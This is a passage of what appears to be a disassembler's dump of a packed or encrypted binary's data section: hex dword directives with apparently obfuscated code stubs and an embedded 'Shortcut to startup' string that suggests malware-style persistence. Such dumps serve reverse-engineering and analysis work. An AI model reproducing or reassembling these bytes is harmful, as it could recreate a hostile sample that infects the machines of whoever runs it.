		dd 0DCFC81E9h, 8158527Dh, 0DCFC7DC1h, 8166577Dh, 5F688FC0h
		dd 9208F981h, 850FFFFFh, 16h, 0E94DC080h, 1Bh, 834CF2D1h
		dd 0D0919E04h, 0F152AE9Dh, 0BF0F89F9h, 0FF7EE9D2h, 1A40FFFFh
		dd 20723FA8h, 0C8573058h, 10013031h, 56C26E12h,	2544BBh
		dd 62574B3h, 101302Fh, 2BC26674h, 0A86B9923h, 0AD5D76B5h
		dd 0F0BF56EEh, 0D08D56D5h, 40136DBh, 0F84AE532h, 0A9A37229h
		dd 1853F36h, 69013030h,	0C82ED1B7h, 0F1BCB337h,	804D83Ah
		dd 412B43Dh, 87883032h,	4E9147Bh, 800353DBh, 0CB5E6732h
		dd 0C821F5A7h, 4251A037h, 8F0E6262h, 4013032h, 5051013Dh
		dd 595B013Dh, 0B10E6868h, 4002B73Dh, 0AB673032h, 40596AC0h
		dd 5B015AA2h, 40133DAh,	0C15A1032h, 255DB969h, 0A445B136h
		dd 40012C36h, 0E3527332h, 0ACBA7A8Dh, 7E34F07Dh, 8D94B912h
		dd 0D04D821h, 0FF257C33h, 68533058h, 40013031h,	7AC26A12h
		dd 142564BBh, 0C2574B3h, 4013025h, 3C26270h, 67EBE1A3h
		dd 2F6FAB3h, 16015A6Ah,	200133DAh, 0D35F1032h, 2C75B96Ch
		dd 2045B136h, 2012A36h,	0C2577632h, 72E20037h, 4F1CAAE4h
		dd 200136BCh, 0B1943332h, 8B04D812h, 0B10A1CF2h, 7E92417h
		dd 16B38B9h, 8002D865h,	1F213032h, 5C886FF1h, 54803416h
		dd 81D3416h, 53463032h,	0B2D8F2F1h, 0A11F132Bh,	578A718Ch
		dd 1B743188h, 0B5306135h, 15E92EDBh, 408A5669h,	21BCBBCEh
		dd 0B504D829h, 3880563Ch, 40ECF04h, 40013131h, 875F2B3h
		dd 0D1824BAAh, 5F015A3Bh, 40133DAh, 0C15E1032h,	257DB96Dh
		dd 0A445B136h, 40012536h, 0E3567732h, 910EE535h, 8013034h
		dd 0F10B51Bh, 896735DAh, 0E838B0CBh, 8123B53Dh,	0FD0A3032h
		dd 25E9139Bh, 7A0071B9h, 0BE96232h, 24013032h, 8B5BF368h
		dd 80051466h, 9B051476h, 2013032h, 0FD00F360h, 3A9F1F7Ch
		dd 7617A92h, 40136B0h, 28D3F32h, 80013032h, 8C5D5EE2h
		dd 88025140h, 30338B60h, 935F454Eh, 86B35F3h, 402D865h
		dd 5D213032h, 7D886FF1h, 0C4803416h, 40153416h,	77463032h
		dd 92B6F7F1h, 439109B3h, 810EBB71h, 201309Eh, 0E9513058h
		dd 80013031h, 18C26812h, 242574BBh, 142574B3h, 801302Ah
		dd 0C0C26072h, 28B95904h, 11CBA3Dh, 86E93032h, 59013032h
		dd 542E34C0h, 100DD98Ch, 41633032h, 0B2B73A8Ah,	0DA213AF8h
		dd 0E5E1485h, 800136B5h, 98C2B132h, 0AD592D1Fh,	0F84C5ABFh
		dd 80FD937h, 788B3032h,	1280A416h, 0DEE55BE1h, 0B190D122h
		dd 4001338Ah, 71015A32h, 100133DAh, 0CB581032h,	204DB96Bh
		dd 2645B136h, 1012636h,	43507132h, 0BF0541ABh, 76015AD3h
		dd 100133DAh, 0CB5F1032h, 2075B96Ch, 2645B136h,	1012736h
		dd 43577632h, 0A661F7D1h, 970E5053h, 17E850FDh,	9A013032h
		dd 3CD554D6h, 6360C38Fh, 2DFF8DBFh, 0D8C35DFh, 45EC1FDDh
		dd 0B282448Ah, 0A5840333h, 2304D83Eh, 20E8F1FDh, 0C8573058h
		dd 10013031h, 56C26E12h, 2544BBh, 62574B3h, 101302Fh, 0F305E983h
		dd 6AC08BA4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0A198C356h, 0B9150920h, 4D8D891Ch
		dd 6A05E80Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 9E65C355h, 4A3F7000h, 2C34BF66h
		dd 5E8C38Bh, 0D5000000h, 0CF257954h, 5BB4D280h,	6800Fh
		dd 0BD890000h, 5E809F5h, 7492C381h, 0B5890000h,	5E82EE5h
		dd 68h,	65BD8900h, 5905E80Ah, 7198D89h,	34FF05E8h, 5ED38B19h
		dd 10EA8166h, 50C68127h, 0B6374D9Fh, 5C681E4h, 89116F2Ch
		dd 0E82E2D85h, 94F68105h, 8B6E45BCh, 0E82CA5BDh, 48F5605h
		dd 8D8B600Bh, 5E82279h,	61F38B66h, 81C0B70Fh, 67868AE9h
		dd 0CE82Ah, 9B0A0000h, 39D93DE0h, 4869269Fh, 0BD017C81h
		dd 5E80AEDh, 86C1815Ah,	0E92A6786h, 0Bh, 480425ECh, 952189D2h
		dd 81C2A0B2h, 0FF8C1CF9h, 83850FFFh, 8BFFFFFFh,	809346FBh
		dd 18F21BFCh, 941549E6h, 1D1AC46Bh, 0FDFF764h, 90913485h
		dd 18F29A3Ch, 1393F1EEh, 681A2385h, 0F4A79064h,	1D1F6166h
		dd 4E4ADD19h, 1EA2A2E6h, 941A3169h, 0F50B85E8h,	5387C168h
		dd 0E21FCCC4h, 9E4248BEh, 0F51160D0h, 0A6EC468h, 1EA2313Dh
		dd 941A3169h, 0F50B85E8h, 2087C168h, 0E21FCCCBh, 774248BEh
		dd 1EF2DB6Dh, 3D1AC46Dh, 9440A137h, 9C1E1539h, 81EBC29h
		dd 5F1A4C6Dh, 762AE53Fh, 9DD4980Bh, 96E6EA9Ah, 4B1AAEADh
		dd 1D1A6185h, 0DE44116Dh, 396E1133h, 395ECD69h,	1D1A3A69h
		dd 0DE4C556Dh, 63D91EBCh, 0A40FC46h, 608FE918h,	7D1FD96Ah
		dd 35BB05E4h, 7CEF4985h, 77C2AA0Bh, 1EF2466Dh, 3D1A896Dh
		dd 94470730h, 9C1E4601h, 11E1529h, 581A986Dh, 0B558F38h
		dd 0F56ED78Ah, 0F4F26A8Ch, 1D1A897Dh, 0E1361DFBh, 7F519F3Ch
		dd 345C4B48h, 38D551DDh, 991548C5h, 1D1A2276h, 1D1A0384h
		dd 6565B66Dh, 92A1DF74h, 0B43B3703h, 0D5A05F37h, 0FCA71B26h
		dd 1D1FA465h, 1D24A262h, 1BF2136Dh, 31A896Dh, 4A3B3F1Bh
		dd 348F6B47h, 421FD945h, 1D197A84h, 4C1A266Dh, 1D1A2585h
		dd 0DE43336Dh, 39560034h, 395E4569h, 1D1A7569h,	0DE4B706Dh
		dd 85E71496h, 3ADDCD0Bh, 0E6914092h, 1D3D13D3h,	0C7A5866Fh
		dd 725241E0h, 1D706786h, 1D19D93Fh, 473A986Dh, 499316AEh
		dd 599B2249h, 1D031749h, 4F58896Dh, 0AE8ECAAEh,	0A67AA58Eh
		dd 1522E474h, 124C4892h, 1D1A4AE6h, 0D487AD6Dh,	461FFB4Ah
		dd 991549E8h, 1D1AC483h, 0DBFDFE6h, 259B3485h, 0E69BFE3Ah
		dd 1D5AC962h, 9515266Dh, 1D1A136Bh, 14433C64h, 9C7CC185h
		dd 1F186615h, 1E6CB562h, 1D70986Dh, 1D19A43Fh, 473A266Dh
		dd 499349AEh, 599B8D49h, 1D06C049h, 4F58626Dh, 7E219FAEh
		dd 0F14486F4h, 71ADDD80h, 9C7CDEE6h, 127A8F55h,	1D1A18E8h
		dd 4A1AAE6Dh, 1D1A6185h, 0DE45116Dh, 39661132h,	395ECD69h
		dd 1D1A3B69h, 0DE4D546Dh, 0F8F8AB2Ah, 8ACB50D9h
		dd 0A2151CAEh, 1F62B1BCh, 429F9785h, 771A4C6Dh,	1EF2756Dh
		dd 3D1A136Dh, 94414A36h, 9C1EE031h, 71E4629h, 5E1A316Dh
		dd 1A895B3Eh, 6F5807F0h, 8DE8A77Dh, 7B293739h, 1D1CF1ECh
		dd 369FCBC6h, 7B1A626Dh, 0F41B60D2h, 1D1A9AB9h,	0F5484C07h
		dd 1D1A266Eh, 47D9494Dh, 193EDDE4h, 193E80ECh, 1D1A6279h
		dd 3AD9632Fh, 319F2D6Ch, 1DA44985h, 775C276Ch, 1EF2456Dh
		dd 3D1A896Dh, 94440733h, 9C1E4619h, 61E1529h, 5B1A986Dh
		dd 5BE88F3Bh, 0B6CF97BCh, 0A0937872h, 18F2810Ch, 725241E0h
		dd 967C6786h, 77CACEBEh, 1EF2CB6Dh, 3D1A4C6Dh, 9441E536h
		dd 9C1E3731h, 71EAD29h,	5E1AC46Dh, 0AF16A13Eh, 0D7DECDFCh
		dd 12DA1D2Dh, 1D1852E9h, 1D0ACE6Dh, 44EF136Dh, 4BACE37Ah
		dd 0CAB226DAh, 0A86182C4h, 9C4516ECh, 1F27FE55h, 299F436Fh
		dd 0E51A266Dh, 7B1C6BECh, 1260D650h, 1D18DBE9h,	4A1A086Dh
		dd 1D1A3285h, 0DE45B86Dh, 3966C532h, 395EA769h,	1D1A0769h
		dd 0DE4DCE6Dh, 964A93B1h, 0F53857E0h, 7B436868h, 7D86A0ECh
		dd 1D8AC962h, 8013266Dh, 18F206D4h, 1D1A8185h, 0E0963F6Dh
		dd 8C9130F5h, 1D11D8D6h, 0BAB5986Dh, 57A477D6h,	1354DC99h
		dd 659A496Eh, 9815616Fh, 1D1AC40Fh, 0F54A6207h,	1D1A316Eh
		dd 45D9C04Dh, 193E08E4h, 193E62ECh, 1D1A1377h, 17D9D92Dh
		dd 99844537h, 9C7CE3E8h, 0DD1A3715h, 1D2E1D62h,	1D704C6Dh
		dd 1D19CE3Ah, 423A136Dh, 6193D6AEh, 599BC049h, 1D0E6649h
		dd 4A5D316Dh, 967A19AEh, 0F50561D0h, 0EE9B4068h, 0F47B3EACh
		dd 1D1A8809h, 1F7F79E6h, 1DA46785h, 9D64306Ch, 9897F99Bh
		dd 18F12325h, 0AC1DD1ECh, 15F33566h, 221A896Dh,	0F41270Ah
		dd 0E201BA59h, 0E88FBABDh, 981F705Dh, 0E19E43ADh, 121A266Dh
		dd 1D1A06ECh, 1D13616Dh, 9041C46Dh, 86A7B21Ch, 94D33160h
		dd 0F517E9D8h, 259A1668h, 6F9F2985h, 771A136Dh,	1EF2DC6Dh
		dd 3D1AC46Dh, 9447A130h, 9C1E1501h, 81EBC29h, 581A4C6Dh
		dd 0DE1FE538h, 1D129A62h, 9648896Dh, 0F5185DF0h, 659A3D68h
		dd 98154268h, 1D1A9850h, 0F54B4C07h, 1D1A266Eh,	44D94A4Dh
		dd 193EC5E4h, 193E80ECh, 1D1A6271h, 17D9602Ch, 0AF63A321h
		dd 6EE5D71h, 14D19162h,	0F50E6ED0h, 1A620968h, 809ECB3Eh
		dd 941A626Dh, 0F509E4D0h, 259BFE68h, 981549E2h,	1D1A2636h
		dd 1D1A1A85h, 0CD10536Dh, 4A9F6E11h, 10F326C3h,	6E1A316Dh
		dd 1DF1A903h, 5E5BEC6Ah, 0B0B092FEh, 1B629336h,	2D9F8605h
		dd 961AC46Dh, 0F52B43F8h, 659B5768h, 123F6766h,	1D1A52E8h
		db 6Dh,	97h
word_594F42	dw 0F4C0h		; DATA XREF: ___:off_43D9E4o
		dd 1D1A1361h, 0E12692D1h, 0BE3714ACh, 0A1C7ED6Dh, 1D1A0684h
		dd 0C6F5196Dh, 0A56D4E73h, 1D1A266Dh, 1E47AEE6h, 31F38C85h
		dd 771AC46Dh, 1EF2316Dh, 3D1A316Dh, 94415B36h, 9C1E6831h
		dd 41E0229h, 5E1A136Dh,	4E554A3Eh, 24F7A006h, 1D1A63D5h
		dd 14AFB86Dh, 8D1F7044h, 1D1A4B84h, 52A2126Dh, 911DDF81h
		dd 0EF2E93Dh, 6A1AC46Dh, 0BC24A3CFh, 7D5053E3h,	0CE3A136Eh
		dd 26F9CBD6h, 7C7A6E2Bh, 9FA47537h, 778AE88Ch, 1EF2966Dh
		dd 3D1A626Dh, 9440F237h, 9C1EBC39h, 41E6829h, 5F1A266Dh
		dd 7A53D03Fh, 0F3799370h, 1107715Ch, 0A0976785h, 18F70079h
		dd 2BFB15E0h, 3EA24980h, 1E6D4038h, 0F5176EE8h,	0DCD5A268h
		dd 6C1DA484h, 9B9D6430h, 259897F9h, 0EC18F123h,	66AC1DD1h
		dd 6D15F335h, 0E9831A89h, 58A4F305h, 224D8D89h,	6A05E8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0E33AE1C3h, 66363EFCh, 0C00BD08Bh, 77840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 871FB7C3h, 8B972997h, 0E9223524h, 0Eh, 6993060Dh, 0F1AFD033h
		dd 0EFD0F38Ch, 0B58DFDD6h, 5E84D6Ah, 5930B352h,	3B8h, 0FFC88A00h
		dd 57006AE6h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 61067BFBh, 5DBD89DDh, 2B05E82Dh,	0E814A99Dh
		dd 6A4005h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 3862A4C3h, 3EAA478Bh, 0FAB5AD4h, 83h, 458D8900h
		dd 8B05E820h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0F58FA84Ah, 662B0655h, 0DB73D981h
		dd 0E89BD83h, 750005E8h, 0E9BD8309h, 5E80Bh, 53501974h
		dd 3B8C08Bh, 89000004h,	0E81AF985h, 0B59D8D05h,	0FF05EAA9h
		dd 83585BD3h, 0E80BE9BDh, 17740005h, 3B85350h, 89000004h
		dd 0E81AF985h, 569D8D05h, 0FF05EAA6h, 6A585BD3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BF39C350h, 0AFF3F9ABh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0AFC35040h, 382C5ACh,	0A0043D6Dh, 94BA6624h
		dd 68A0F54h, 8B000000h,	0E8113D9Dh, 8BC08B05h, 0E80F259Dh
		dd 8D8D6105h, 5ED3913h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0B3C35747h, 0CF52D4F6h, 9D8D89B4h, 8B05E815h
		dd 585C7C2h, 0C805E807h, 0C7000073h, 0E80A6185h, 5, 870F00h
		dd 0F8000000h, 2849B5FFh, 858B05E8h, 5E814CDh, 81595FFh
		dd 0C68005E8h, 0FF006AF1h, 0E820F995h, 0EBC08B05h, 1458D029h
		dd 0F4E4E2DBh, 0B901716Ch, 7536BE0h, 375724DDh,	0E2C54C5Ch
		dd 0D6C5085Eh, 0E1EC52CBh, 0E517CA55h, 0FAEDB797h, 2ADEB52Dh
		dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh
		dd 5AF19826h, 26EF5E26h, 60307006h, 0E4FFB44Eh,	9AF867A5h
		dd 0BEA3702Ah, 0D828A8A3h, 0BA796723h, 0DBF819A3h, 6D71B23h
		dd 3330702Eh, 33831D29h, 0B6C09826h, 364BA177h,	70D61576h
		dd 63AC751Fh, 1F550DD9h, 64839DCEh, 59359826h, 601F1523h
		dd 6348751Fh, 0AE51DABh, 0CC039DCBh, 0DBB019B3h, 3C149323h
		dd 336AA1A2h, 60B01526h, 639F751Fh, 334DAACEh, 0BEF6D826h
		dd 0DE6AC1A3h, 0B624C823h, 3639A175h, 82FF6776h, 0B030702Bh
		dd 0B61794E2h, 36A0A175h, 70231576h, 6356751Fh,	1F280DD9h
		dd 513D9DCEh, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh
		dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh
		dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh
		dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
		dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
		dd 37A8517Fh, 72881526h, 0BE9F751Fh, 0DE77EEABh, 932023h
		dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 76B58DFFh, 8D05ED3Ah, 0ED3A958Dh, 83CF2B05h,	0C88B05E9h
		dd 13E8h, 0A7A7EB00h, 6BC24C23h, 7A41D9F5h, 2EB3515Ah
		dd 80DFD4D9h, 81958960h, 0F05E82Eh, 5961FAB7h, 0C181D78Bh
		dd 73E3h, 1F2D858Bh, 0D5BB05E8h, 0FC00001Ch, 5EF831FFh
		dd 83CA8166h, 45C6813Ch, 8B335DE5h, 0E807C1BDh,	37EE8105h
		dd 815188DFh, 7B443AC6h, 0FA8B6657h, 9D893189h,	5E824CDh
		dd 0B604E983h, 1EB8115h, 0F000000h, 1485h, 1EE900h, 8E4F0000h
		dd 0D8BCEA0h, 0A2B1B4F0h, 485A5BEBh, 0A9E9FCD8h, 7BFFFFFFh
		dd 2D0B45E9h, 71578E3Ch, 1FC59D8Dh, 39B805E8h, 89000000h
		dd 0E8248185h, 0E805h, 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 3C4E8D8Dh, 0BA6605EDh
		dd 49B3C66Ch, 159D8D89h, 958B05E8h, 5E8198Dh, 70585C7h
		dd 657005E8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 6B90E0C3h, 0E95166A3h, 14h, 0F472BE33h
		dd 9504D0A2h, 0DD0A9967h, 0CDA7A149h, 902E789Eh, 6185C758h
		dd 5E80Ah, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0D7A7C356h, 0CD6263EEh, 2269B5FFh
		dd 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 95FFD2C3h, 5E80815h, 68E0Fh, 9D8B0000h, 5E8310Dh
		dd 95FF006Ah, 5E820F9h,	78EBC08Bh, 0ACF80A72h, 93EA5DDCh
		dd 17F1680Dh, 4C5F0ED2h, 504F4CFEh, 4E382F98h, 765127DCh
		dd 6F47F624h, 40ABA8F6h, 4DED302Fh, 0A506F7ABh,	84CD8588h
		dd 0E0D65862h, 757016EEh, 8925CB0Fh, 2CEA8CB2h,	88E52EA7h
		dd 0CF176445h, 776B3423h, 275BB679h, 0F8E7D7A6h, 0CD6BBAE3h
		dd 0A906F31Ah, 0DF0AD381h, 0F3BC1FA6h, 0B368BF00h, 0AA03B177h
		dd 4EF5CE62h, 0EB620917h, 3A56A39Bh, 3D7D8D8Dh,	800F05EDh
		dd 7, 1840Fh, 89FC0000h, 0E8159D8Dh, 0EDB58905h, 0BB05E823h
		dd 47AA4F0Dh, 70585C7h,	6E9005E8h, 0CF810000h, 40F70034h
		dd 0A6185C7h, 5E8h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0A287C4C3h, 0E44BFF71h
		dd 895CECBFh, 0E8134185h, 0E2816605h, 0B5FF291Eh, 5E81369h
		dd 99DBD0Bh, 95FF05E8h,	5E80815h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 2AC35747h, 0F322BE63h, 9101192Eh
		dd 7DB58BD1h, 6A05E807h, 0F995FF00h, 8B05E820h,	64CEBC0h
		dd 10254001h, 1F14ECB7h, 0A2AE6D1Ah, 9CC33D52h,	3B500863h
		dd 2A0F23Dh, 0B2E211C2h, 0FF1B9D17h, 488F45F5h,	5B4F7DF7h
		dd 0E79AC0AEh, 0F1D4EBC5h, 0A1CBDBABh, 738C7191h, 8689F182h
		dd 0D7710A05h, 0D8414788h, 0C24B1D9Eh, 0EB5F1C40h, 6F68536Ch
		dd 75637472h, 6F742074h, 61747320h, 70757472h, 14h dup(0)
		dd 0E3B1C400h, 13Fh, 0F64E900h,	0F1680000h, 0E905ED3Fh
		dd 0FFFC0505h, 0ED40D668h, 4FBE905h, 0AC68FFFCh, 0E905ED42h
		dd 0FFFC04F1h, 0ED42EB68h, 4E7E905h, 8568FFFCh,	0E905ED43h
		dd 0FFFC04DDh, 0ED442D68h, 4D3E905h, 8968FFFCh,	0E905ED48h
		dd 0FFFC04C9h, 0ED4B4E68h, 4BFE905h, 1F68FFFCh,	0E905ED4Ch
		dd 0FFFC04B5h, 0E7A8D308h, 0F3B4C316h, 1C2B522h, 11D2AD30h
		dd 20E19640h, 0DFF7DEC2h, 0CC06D798h, 0CB11E2A3h, 0BA1EEFB0h
		dd 794DFCBDh, 45BD20Bh,	6BF4355h, 1F9E6B6Dh, 0B10E0563h
		dd 55268BEEh, 5B2FF083h, 0C025528Ah, 0A768C55Dh, 9562360Ah
		dd 0E80A42A4h, 34A23A9Bh, 5F19401Ch, 0B3B41CE9h, 8F98AF2Ch
		dd 63C82BF7h, 5C1BBE8Fh, 4C8356C4h, 0E7BB5509h,	54B9C616h
		dd 0EFF259F1h, 0C80D0508h, 3BA3B8h, 6AEA0000h, 99B52896h
		dd 0FD605AF1h, 0AA470865h, 914868D6h, 0B8855F19h, 4EC4B94Ch
		dd 58BD20E8h, 927EFEAh,	0AA7B4F55h, 45AC4433h, 3E996A9Ch
		dd 0BBB29B33h, 4DB8C835h, 0DCh,	86B6D94h, 6B04D2A3h, 0D0A33506h
		dd 0CC6976Bh, 0CE9BFE63h, 2183109Dh, 8A5BF3F6h,	8855294Eh
		dd 473433BCh, 0CE8F27F9h, 0F0AA3260h, 0FD7A5E5Ah, 0A6D6B3Ch
		dd 8FFDD1A5h, 5AF0A24Eh, 6FCC64C7h, 0AB32A0BCh,	6A5AF0A1h
		dd 0D73A3D99h, 9232A074h, 835F1892h, 909C41AFh,	0AC795508h
		dd 31FFF519h, 0E3B013EAh, 73A366ABh, 0A162C50Bh, 12E68B44h
		dd 31F36FA4h, 0EFC32659h, 57BCBB1Eh, 0B7885CF4h, 0C697581Fh
		dd 5588F610h, 0C04F1DB1h, 5C12FA5Dh, 0A11AD2C0h, 0D12943Ch
		dd 7D5E0000h, 69704102h, 5B7C4D0Eh, 57865718h, 40966728h
		dd 34187637h, 25E6894Dh, 30F17E54h, 41027D5Fh, 4A0B6870h
		dd 8459C79Bh, 9155045Bh, 9D6A540Dh, 0C7B4164Eh,	3E0FA77Ch
		dd 4D1EDF98h, 6E27E88Bh, 0AF832EE1h, 7330EDBh, 0B9CCE7A9h
		dd 0CDFDB321h, 0F7C85F18h, 33FF97E6h, 0DCFD6BD0h, 625508CAh
		dd 914CBA8Eh, 845508CBh, 3ED5D8B7h, 0DA3D1A6Dh,	0EF06DB42h
		dd 0B8C8567Eh, 7790491Ah, 4EB11661h, 8B2386EBh,	0AD27h
		dd 6B6D6E00h, 4D2A308h,	0FA98066Bh, 965AF19Dh, 0A3743542h
		dd 9D6E4235h, 3A9F373Ah, 0AB7F12DDh, 1985873Dh,	6A2B8E5Fh
		dd 0DBAF420Dh, 0D39C3607h, 2517CD3Bh, 0DB3E5933h, 69A03607h
		dd 0E5A60974h, 0AC43C214h, 3C3B9EF7h, 0D5A774D7h, 5C44A7EAh
		dd 1AD3CC8Ch, 2DE890F5h, 4300000Ch, 4B1CDD98h, 5526E78Eh
		dd 5D2EEF82h, 6334F580h, 0DD3BFC73h, 0ABC412F9h, 0B6B919EAh
		dd 0BBB824F5h, 0C4AF29FAh, 12805403h, 550459CBh, 6D0DC64Ah
		dd 71450669h, 0BF1649A4h, 0C1119B2Dh, 8C7E4BAEh, 0F57F498h
		dd 8A4E1FB7h, 914819EDh, 861E81E6h, 6B6D0CC5h, 0D73A3D9Ah
		dd 0CE37A172h, 3A0B700Fh, 1174D798h, 9538F350h,	5E7FEDC1h
		dd 0B75AF19Ah, 7AE8BC54h, 5F199272h, 0AD1B80E3h, 5509922Ch
		dd 0BF36AB12h, 0B8C84F4Eh, 75Ah, 0A596A100h, 0DD000008h
		dd 0C7152EE1h, 77549ACh, 5F19AB21h, 10E449ACh, 343DCE43h
		dd 45B38052h, 55096398h, 0E6B71A7Dh, 1DEE86F1h,	26F7B8BBh
		dd 0F260C5B2h, 37CD81FDh, 0C022EFC3h, 5BDC2825h, 22BF26BEh
		dd 0D192E5F3h, 0C79BD800h, 2E93DCF6h, 60CE33CBh, 0EDC54B78h
		dd 888A57BEh, 4B9746B4h, 1B7EEDC5h, 4CE4934Ah, 461A5D7Bh
		dd 52475C79h, 6034EE62h, 0C530EBF2h, 2FC72AEDh,	0DC99A6Eh
		dd 0D701D26Ah, 0DBC9379Ch, 0F537E1FBh, 5D2A8FE2h, 0BF1CC326h
		dd 0BCE9F0Bh, 46B076Ch,	0A0079CDDh, 0DFFECF41h,	0A13708A0h
		dd 944415D6h, 521D7ADFh, 4A17EBBFh, 4F696EF3h, 0AB19B120h
		dd 0F1EDA439h, 0E08F4314h, 58197C48h, 7D517CDEh, 0DD61CE0Fh
		dd 4CE447E7h, 0BD913CEFh, 5827D4Fh, 0EB3598ECh,	0E522297Dh
		dd 0A4CF9C0Bh, 0AD639A3Bh, 1DCE2BC3h, 0BCB9C70h, 49CFF64h
		dd 1A885C30h, 3E475C3h,	0E957EF52h, 80C5E7Bh, 0B51277DAh
		dd 0AF8357FAh, 5C706DDBh, 0D5A4FDFCh, 0B8A53BC8h, 30C82BF7h
		dd 25AE27C2h, 0EFC32602h, 0E9BDBA1Eh, 54B9BE18h, 0C49859F1h
		dd 2C91E4F3h, 786031C9h, 874913FBh, 51B673E1h, 0A57A9h
		dd 0B7C21900h, 0C1B425F6h, 0CDA82F00h, 0D3A23B0Ch, 0E2954112h
		dd 0F8DFC321h, 7D899DEh, 12E3A4CBh, 1BECADCAh, 4AF9BABDh
		dd 57D50876h, 0BC405504h, 86B6D03h, 1294420h, 0C068CD11h
		dd 0A18h, 37F88358h, 43047366h,	51126572h, 61225D80h, 70314690h
		dd 8F472E12h, 7C5627E8h, 7B6132F3h, 6A6E3F00h, 0C99D4C0Dh
		dd 458825Bh, 560F9355h,	0A3086B6Dh, 0AA6B04D2h,	0D596CE30h
		dd 0D6F66438h, 3F5F19B9h, 9F3708DCh, 22F640D8h,	195C7D4Eh
		dd 0FAE351B4h, 1B550979h, 86E98E4Ah, 0A31C80EEh, 27E89564h
		dd 1C48B68Ah, 39977409h, 5B1471D6h, 87EA9548h, 4EA445B3h
		dd 46A9918Dh, 3C37A172h, 65D3A77Bh, 87788C78h, 0D1A23A9Dh
		dd 0F6846C07h, 3BC27827h, 97E2ED6h, 0E9F20000h,	0DDFCCD8Eh
		dd 0CF08D99Ah, 0CB12E3A4h, 0BC1AEBACh, 0B094F2B3h, 0A96A0DC9h
		dd 0B475FAD8h, 0BD7EF9E3h, 0C687ECECh, 8D54317h, 0D550457h
		dd 6B6DD089h, 99B42997h, 0A4605AF1h, 0E9D39CCDh, 0B784E7B3h
		dd 51E7F36Fh, 0DB40A372h, 0E4A5D20Ah, 0F09EC776h, 1FB27D5Ah
		dd 0AAACDD4Bh, 7EE15F1Bh, 74FFD9AAh, 10F6E2B3h,	3603BA2h
		dd 1477DA55h, 15F8DEAFh, 0C1FA7314h, 91A1B75Eh,	0D3237189h
		dd 3B3A9F70h, 0AB1073D6h, 7E8D0AD7h, 5B4D7303h,	650E6128h
		dd 9162C5EBh, 0C899314Ch, 0FB7F6714h, 4014EF18h, 8D633DBh
		dd 419A0000h, 35A47536h, 27B08142h, 23BA8B4Ch, 14C29354h
		dd 583C9A5Bh, 51126571h, 5C1D5280h, 6526518Bh, 6E2F4494h
		dd 607DEBBFh, 0B5550456h, 6B6D7831h, 6D2A308h, 0E232D303h
		dd 7B0E4A81h, 45A80D70h, 73DA7DE2h, 5AC89C6Eh, 5AF19483h
		dd 0C6972F92h, 0BBA46512h, 0BD2041B2h, 58356h, 2EE19D00h
		dd 0FF48BD15h, 0C7475EFh, 99FC61C4h, 95F46236h,	0F85F1C1Fh
		dd 0D527B624h, 78E65503h, 5503D565h, 1E814DB0h,	0C216E7BBh
		dd 85E88F47h, 6A367C4h,	30DF33A1h, 2CB11DB0h, 0BC1BEC51h
		dd 83E6914Bh, 0AB369D1Eh, 9D83FDAh, 18C53307h, 0FDDB9768h
		dd 2350BD30h, 15784918h, 0D799947Dh, 0EBBFC27Ah, 970E607Dh
		dd 8152B5DBh, 2488205Bh, 46h, 8029E16Bh, 9A9F3EACh, 13765AF1h
		dd 29976B3Fh, 5AF199B4h, 4D90FE61h, 0C85AF19Ah,	0A4839865h
		dd 0A4AD5469h, 2D3A70Ch, 0D4379CDBh, 544FCE3Ch,	10777A96h
		dd 45232AD1h, 7C59D48h,	0C000000h, 26E96h, 2EE1DD00h, 0A041AF83h
		dd 0AD5F1CA4h, 6177E54Ah, 0A755045Ch, 0FE04530h, 0CA4BB0C7h
		dd 12FD7E63h, 7D436ABh,	48376FBFh, 2380186Ch, 83F1C568h
		dd 592F315Eh, 934A1BEFh, 0E96776E4h, 4BAE4F16h,	805627E8h
		dd 0ED5623F7h, 523763A8h, 0C89C0199h, 663070FBh, 36CE1EECh
		dd 99FE7165h, 608D940h,	17C6132h, 17024A93h, 0D068CB4Fh
		dd 0AB32D7FFh, 0D7A869CCh, 489503FBh, 0CD4F1702h, 0D1A2076Ah
		dd 0B0096E01h, 59799849h, 9A754216h, 814A106Eh,	55C3841Ch
		dd 4F16E46Ah, 80413E9Eh, 0E94E29AFh, 0E0934415h, 0C780187Bh
		dd 0AC8029E1h, 9A736AD8h, 3FA25AF1h, 488A5BA7h,	0C60CDD27h
		dd 0B8895DA9h, 18865A25h, 5AF199C5h, 0DB55ED50h, 0A3CC0A32h
		dd 76A6D3Eh, 429F06A2h,	0DDEB241h, 0A70EA6C9h, 0CA0BD83Ah
